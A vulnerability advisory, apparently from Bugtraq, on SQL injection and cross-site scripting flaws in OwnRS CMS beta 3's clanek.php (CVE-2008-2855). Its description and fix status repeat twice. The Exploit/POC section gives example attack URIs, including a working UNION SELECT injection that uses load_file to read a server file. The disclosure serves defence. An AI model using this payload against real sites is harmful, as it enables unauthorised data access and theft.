OwnRS 'clanek.php' Multiple Input Validation Vulnerabilities
BID:29818
Info
OwnRS 'clanek.php' Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 29818 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2855 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 19 2008 12:00AM |
| Updated: | May 07 2015 05:28PM |
| Credit: | CWH Underground |
| Vulnerable: |
OwnRS OwnRS beta 3 |
| Not Vulnerable: | |
Discussion
OwnRS 'clanek.php' Multiple Input Validation Vulnerabilities
OwnRS CMS is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
OwnRS beta 3 is vulnerable; other versions may also be affected.
OwnRS CMS is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
OwnRS beta 3 is vulnerable; other versions may also be affected.
Exploit / POC
OwnRS 'clanek.php' Multiple Input Validation Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice a victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/[Ownrs_path]/clanek.php?id=[SQL Injection]
http://www.example.com/[Ownrs_path]/clanek.php?id=<XSS>
http://www.example.com/own/clanek.php?id=1'/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112)),4,5,6,7,8,9,10/**/FROM/**/autori/**/WHERE/**/id='1
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice a victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/[Ownrs_path]/clanek.php?id=[SQL Injection]
http://www.example.com/[Ownrs_path]/clanek.php?id=<XSS>
http://www.example.com/own/clanek.php?id=1'/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112)),4,5,6,7,8,9,10/**/FROM/**/autori/**/WHERE/**/id='1
Solution / Fix
OwnRS 'clanek.php' Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].